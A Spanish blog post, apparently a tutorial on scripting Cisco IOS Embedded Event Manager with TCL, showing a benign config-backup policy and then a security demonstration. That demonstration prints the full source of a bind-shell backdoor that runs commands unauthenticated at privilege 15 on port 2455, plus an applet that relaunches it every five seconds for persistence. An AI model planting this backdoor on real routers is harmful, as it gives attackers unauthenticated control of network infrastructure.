Siguiendo con la entrada del otro día Jugando con Cisco EEM (I) otra opción que tenemos en EEM es generar acciones mediante scripts escritos en el lenguaje interpretado TCL (Tool Command Language 8.3.4) ), ya sea por que estén almacenados de forma local o en un servidor remoto.
Usar TCL nos permite disponer de toda la flexibilidad que el lenguaje nos proporciona, como el uso de namespaces, y permite la ejecución de comandos en IOS. Una buena guía para ello es el siguiente libro.
Dentro de IOS tenemos el intérprete interactivo de TCL donde podremos lanzar comandos propios de IOS:
S2router#tclsh S2router(tcl)# exec "copy running-config flash:tcl-copia.txt" 5644 bytes copied in 0.948 secs (5954 bytes/sec) S2router#dir Directory of flash:/ 1 -rw- 18716748 Dec 16 2008 08:40:28 +00:00 c1841-advsecurityk9-mz.12n 2 -rw- 2746 Dec 16 2008 08:55:52 +00:00 sdmconfig-18xx.cfg 3 -rw- 931840 Dec 16 2008 08:56:14 +00:00 es.tar 4 -rw- 1505280 Dec 16 2008 08:56:36 +00:00 common.tar 5 -rw- 1038 Dec 16 2008 08:56:54 +00:00 home.shtml 6 -rw- 112640 Dec 16 2008 08:57:12 +00:00 home.tar 7 -rw- 527849 Dec 16 2008 08:57:30 +00:00 128MB.sdf 8 -rw- 5644 Dec 27 2013 10:39:40 +00:00 backup.txt 9 -rw- 5702 Dec 27 2013 10:21:18 +00:00 copia.txt 10 -rw- 5644 Dec 27 2013 10:43:42 +00:00 tcl-copia.txt
Por lo tanto, podríamos tener un script con la configuración anterior y una vez subido al sistema, por ejemplo por FTP, poder usarlo desde el kron como hemos visto antes llamando al comando tclsh flash:script.tcl o en un applet como una acción similar, no obstante, preferimos crear un script nuevo para compilar en el sistema y poder usarlo dentro del applet.
Para poder usar nuestro script, realizaremos los siguientes pasos:
- 1. Creamos un script TCL que copie la configuración a flash. Lógicamente necesitaremos un mínimo de conocimiento de la estructura de programación TCL para nuestro script ya que hay que registrar la policy o usar namespaces. Nuestro script quedará de la siguiente forma:
::cisco::eem::event_register_none namespace import ::cisco::eem::* namespace import ::cisco::lib::* if [catch {cli_open} result] { error $result $errorInfo } else { array set cli $result } if [catch {cli_exec $cli(fd) "enable"} result] { error $result $errorInfo } if [catch {cli_exec $cli(fd) "copy running-config flash:TCL.txt"} result] { error $result $errorInfo } cli_close $cli(fd) $cli(tty_id)
El script se llama desde un VTY por lo tanto, es muy importante el cierre de sesiones después de que el script realice su tarea ya que podríamos perder el acceso remoto si ocupamos todas las sesiones disponibles.
- 2. Creamos un directorio para guardar los scripts y almacenamos nuestro script en él:
S2router#mkdir flash:policies Created dir flash:policies S2router#copy flash:script.tcl flash:/policies/ S2router#copy ftp:script.tcl flash:/policies/ Accessing ftp://172.18.0.150/script.tcl... Loading script.tcl [OK - 113/4096 bytes] 113 bytes copied in 10.776 secs (10 bytes/sec)
- 3. Registramos el directorio donde almacenaremos los script en Cisco IOS EEM:
S2router(config)# event manager directory user policy flash:/policies S2router# show event manager directory user policy flash:/policies
- 4. A continuación, registramos nuestro script. Al registrarlo, el sistema lo compila para poder usarlo después (debug activado)
S2router(config)# event manager policy script.tcl type user *Dec 27 11:31:24.859: fh_tcl_get_mode: mode = 0, StartupScript = flash:/policies/ script.tcl, RealScript = flash:/policies/script.tcl *Dec 27 11:31:24.863: fh_register_evreg_cmds: tctx=63F539A8, dummy=0 *Dec 27 11:31:24.867: fh_compile_check: filename=flash:/policies/script.tcl *Dec 27 11:31:24.879: fh_compile_check: current_scriptname=script.tcl *Dec 27 11:31:24.895: tclsh: precompilation passed *Dec 27 11:31:24.907: [fh_event_register_none_cmd] *Dec 27 11:31:24.907: fh_tcl_assoc_data_delproc: freeing tctx=63F539A8
Ya tenemos nuestro script disponible para usarlo, por lo que aparece como available de tipo usuario. Podemos ver que hay otros definidos de tipo system:
S2router# show event manager policy available No. Type Time Created Name 1 user Tue Dec28 11:05:36 1943 script.tcl 2 system Thu Feb 7 06:28:15 2036 sl_intf_down.tcl 3 system Thu Feb 7 06:28:15 2036 tm_cli_cmd.tcl
- 5. Finalmente, podremos asociarlo a nuestro applet:
S2router(config)# event manager applet ACCESOS S2router(config-applet)# event syslog pattern "Privilege level set to 15 by" S2router(config-applet)# action 1.0 cli syslog priority debugging msg "ACCESO PRIVILEGIADO" S2router(config-applet)# action 2.0 policy script.tcl
Y comprobamos que lo tenemos registrado correctamente en el sistema:
S2router# show event manager policy registered No. Class Type Event Type Trap Time Registered Name 1 applet system syslog Off Fri Dec 27 11:09:31 2013 ACCESOS pattern {Privilege level set to 15 by} action 1.0 syslog priority debugging msg "ACCESO PRIVILEGIADO" action 2.0 policy script.tcl 2 script user none Off Fri Dec 27 11:23:48 2013 script.tcl policyname {script.tcl} nice 0 queue-priority normal maxrun 20.000
En este momento, accedemos de forma remota al dispositivo en modo privilegiado, viendo por consola la ejecución del script si tenemos el debug activado:
*Dec 27 12:09:41.383: %SYS-5-PRIV_AUTH_PASS: Privilege level set to 15 by jose on vty0 (172.18.0.150) *Dec 27 12:09:41.391: %HA_EM-7-LOG: ACCESOS: ACCESO PRIVILEGIADO *Dec 27 12:09:41.395: fh_tcl_esi_open: fd=0 *Dec 27 12:09:41.395: fh_tcl_esi_open: fd=3 *Dec 27 12:09:41.395: fh_tcl_esi_open: fd=4 *Dec 27 12:09:41.399: fh_tcl_get_mode: mode = 1, StartupScript = system:/lib/tcl/ base.tcl, RealScript = system:/lib/tcl/eem_scripts_regl *Dec 27 12:09:41.423: fh_register_evreg_cmds: tctx=63138D2C, dummy=1 *Dec 27 12:09:41.427: fh_tcl_compile_policy: evaluating policy: startup_scriptname =system:/lib/tcl/base.tcl, real_scriptname=system:/lil *Dec 27 12:09:41.431: fh_tcl_slave_interp_init: interp=63126C18, tctx=63138D2C, fh_mode=1,real=system:/lib/tcl/eem_scripts_registered/= *Dec 27 12:09:41.451: fh_register_evreg_cmds: tctx=63138D2C, dummy=1 *Dec 27 12:09:41.715: [fh_dummy_cmd] *Dec 27 12:09:42.031: [fh_cli_debug_cmd] *Dec 27 12:09:42.031: [fh_tty_open_cmd] *Dec 27 12:09:42.035: [fh_sys_reqinfo_routername_cmd] *Dec 27 12:09:42.035: [fh_tty_read_cmd] *Dec 27 12:09:42.035: [fh_tty_read_cmd] read not ready *Dec 27 12:09:42.155: [fh_tty_read_cmd] *Dec 27 12:09:42.155: [fh_tty_read_cmd] size= 39 *Dec 27 12:09:42.255: [fh_cli_debug_cmd] *Dec 27 12:09:42.255: [fh_cli_debug_cmd] *Dec 27 12:09:42.255: [fh_tty_write_cmd] *Dec 27 12:09:42.255: [fh_tty_write_cmd] cmd = enable, cmdsize = 6 *Dec 27 12:09:42.255: [fh_sys_reqinfo_routername_cmd] *Dec 27 12:09:42.255: [fh_tty_read_cmd] *Dec 27 12:09:42.255: [fh_tty_read_cmd] read not ready *Dec 27 12:09:42.359: [fh_tty_read_cmd] *Dec 27 12:09:42.359: [fh_tty_read_cmd] size= 11 *Dec 27 12:09:42.459: [fh_cli_debug_cmd] *Dec 27 12:09:42.459: [fh_cli_debug_cmd] *Dec 27 12:09:42.459: [fh_tty_write_cmd] *Dec 27 12:09:42.459: [fh_tty_write_cmd] cmd = copy running-config flash:TCL.txt, cmdsize = 33 *Dec 27 12:09:42.459: [fh_sys_reqinfo_routername_cmd] *Dec 27 12:09:42.459: [fh_tty_read_cmd] *Dec 27 12:09:42.459: [fh_tty_read_cmd] read not ready *Dec 27 12:09:42.663: [fh_tty_read_cmd] *Dec 27 12:09:42.663: [fh_tty_read_cmd] read not ready *Dec 27 12:09:42.863: [fh_tty_read_cmd] *Dec 27 12:09:42.863: [fh_tty_read_cmd] read not ready *Dec 27 12:09:43.063: [fh_tty_read_cmd] *Dec 27 12:09:43.063: [fh_tty_read_cmd] read not ready *Dec 27 12:09:43.227: [fh_tty_read_cmd] *Dec 27 12:09:43.227: [fh_tty_read_cmd] read not ready *Dec 27 12:09:43.343: [fh_tty_read_cmd] *Dec 27 12:09:43.343: [fh_tty_read_cmd] size= 61 *Dec 27 12:09:43.447: [fh_cli_debug_cmd] *Dec 27 12:09:43.447: [fh_cli_debug_cmd] *Dec 27 12:09:43.447: [fh_cli_debug_cmd] *Dec 27 12:09:43.447: [fh_tty_write_cmd] *Dec 27 12:09:43.447: [fh_tty_write_cmd] cmd = exit, cmdsize = 4 *Dec 27 12:09:43.547: [fh_tty_close_cmd] *Dec 27 12:09:43.559: fh_tcl_esi_close: fd=0 *Dec 27 12:09:43.559: fh_tcl_assoc_data_delproc: freeing tctx=63138D2C *Dec 27 12:09:43.583: fh_tcl_esi_close: fd=4 *Dec 27 12:09:43.583: fh_tcl_esi_close: fd=3
Y en la flash ya estaría nuestra copia de seguridad:
S2router#dir Directory of flash:/ 1 -rw- 18716748 Dec 16 2008 08:40:28 +00:00 c1841-advsecurityk9-mz.12n 2 -rw- 2746 Dec 16 2008 08:55:52 +00:00 sdmconfig-18xx.cfg 3 -rw- 931840 Dec 16 2008 08:56:14 +00:00 es.tar 4 -rw- 1505280 Dec 16 2008 08:56:36 +00:00 common.tar 5 -rw- 1038 Dec 16 2008 08:56:54 +00:00 home.shtml 6 -rw- 112640 Dec 16 2008 08:57:12 +00:00 home.tar 7 -rw- 527849 Dec 16 2008 08:57:30 +00:00 128MB.sdf 8 -rw- 5644 Dec 27 2013 10:39:40 +00:00 backup.txt 9 -rw- 5702 Dec 27 2013 10:21:18 +00:00 copia.txt 10 -rw- 5644 Dec 27 2013 10:43:42 +00:00 tcl-copia.txt 11 -rw- 5579 Dec 27 2013 12:09:42 +00:00 TCL.txt 12 drw- 0 Dec 27 2013 10:58:06 +00:00 policies
Como hemos visto, EEM es una herramienta muy potente a la hora de ejecutar acciones ante la detección de eventos generados por los distintos subsistemas de IOS, no obstante, hay que tener cuidado con los scripts que subimos al sistema ya que, al igual que nos pueden ayudar en la identificación y notificación proactiva de eventos, pueden suponer un problema de seguridad.
Imaginemos por ejemplo que cargamos un script que abre un socket en el router de forma que dispongamos de una puerta trasera para la autenticación habitual configurada para el sistema, como muy bien explican en el paper Creating Backdoors in Cisco IOS using Tcl.
Resumiendo el paper, subimos un script TCL que abre un socket en el puerto 2455 de nuestro router ; en nuestro caso, el script usado, del mismo autor, es distinto al mostrado en el paper anterior, y en lugar de cargarlo como el intérprete de TCL, lo añadimos como acción a un applet EEM.
proc callback {sock addr port} { fconfigure $sock -translation lf -buffering line puts $sock " " puts $sock "-------------------------------------" puts $sock "TclShell v0.1 by Andy Davis, IRM 2007" puts $sock "-------------------------------------" puts $sock " " set response [exec "sh ver | inc IOS"] puts $sock $response set response [exec "sh priv"] puts $sock $response puts $sock " " puts $sock "#" fileevent $sock readable [list echo $sock] } proc echo {sock} { global var if {[eof $sock] || [catch {gets $sock line}]} { } else { set response [exec "$line"] puts $sock $response } } set port 2455 set sh [socket -server callback $port] vwait var close $sh
A continuación lo subimos a nuestro directorio de policies:
S2router#copy ftp:shell.tcl flash:policies/ Accessing ftp://172.18.0.150/shell.tcl... Loading shell.tcl ! [OK - 664/4096 bytes] S2router#dir flash:policies Directory of flash:/policies/ 14 -rw- 411 Dec 27 2013 12:09:08 +00:00 script.tcl 18 -rw- 664 Dec 27 2013 17:27:52 +00:00 shell.tcl
Todavía no lo hemos añadido como applet, no obstante, probamos su funcionamiento (bloquea la consola):
S2router# tclsh flash:policies/shell.tcl
Et voilà, tenemos una consola en el dispositivo sin necesidad de autenticarnos:
jvillalon@PC:~$ telnet 172.18.0.200 2455 Trying 172.18.0.200... Connected to 172.18.0.200. Escape character is '^]'. ------------------------------------- TclShell v0.1 by Andy Davis, IRM 2007 ------------------------------------- Cisco IOS Software, 1841 Software (C1841-ADVSECURITYK9-M), Version 12.4(3i), RELEASE SOFTWARE (fc2) Current privilege level is 15
Podemos ver que hay una sesión establecida en el puerto del backdoor:
S2router#show tcp brief TCB Local Address Foreign Address (state) 6426FA4C 172.18.0.200.2455 172.18.0.150.60755 ESTAB 6427156C 172.18.0.200.22 172.18.0.150.40359 ESTAB
Si finalmente lo usamos en nuestro applet, dispondremos de acceso y sin bloqueo de la consola (se lanza cada 5 segundos):
S2router(config)# event manager applet SHELL S2router(config-applet)# event timer countdown time 5 S2router(config-applet)# action 1.0 cli command "enable" S2router(config-applet)# action 2.0 cli command "tclsh flash:policies/shell.tcl"
Aunque cuando se ejecuta un script se ejecuta como safe TCL mode, con restricciones a la hora de ejecutar algunos comandos de acceso al sistema para asegurar la integridad del sistema, hemos visto claramente que hay otras acciones que podemos llevar a cabo sin problemas.
Una posible contramedida si usamos EEM podría ser limitar el usuario con que se ejecutan las políticas EEM con el comando event manager session cli username
Finalmente, si miramos atrás, podemos observar que sólo hemos usado un patrón de búsqueda en los applets no obstante, en las versiones nuevas de EEM (a partir de la versión 2.4), es posible definir varios patrones permitiéndonos una correlación de eventos (entre 6 y 8) durante una ventana temporal; en nuestro ejemplo, podríamos hacer una copia de seguridad cuando un administrador entre al dispositivo y notificar por correo electrónico si además, entra en modo de configuración. La nueva versión también permite usar bytecode scripts (BCL), mejorando el rendimiento debido a que el script ya esta compilado.
Ejemplos más útiles del uso de EEM podrían ser disponer de un script que modifique las rutas de red automáticamente si se detecta algún tipo de caída (similar a los sla monitor y tracks), un script que añada a una ACL definida, una dirección IP que nuestros patrones identifiquen como atacante si no disponemos de un IDS/IPS o que nos alerte en caso de que los contadores de las ACLs superen un umbral concreto.
Muy buen aporte, Gracias de mucha ayuda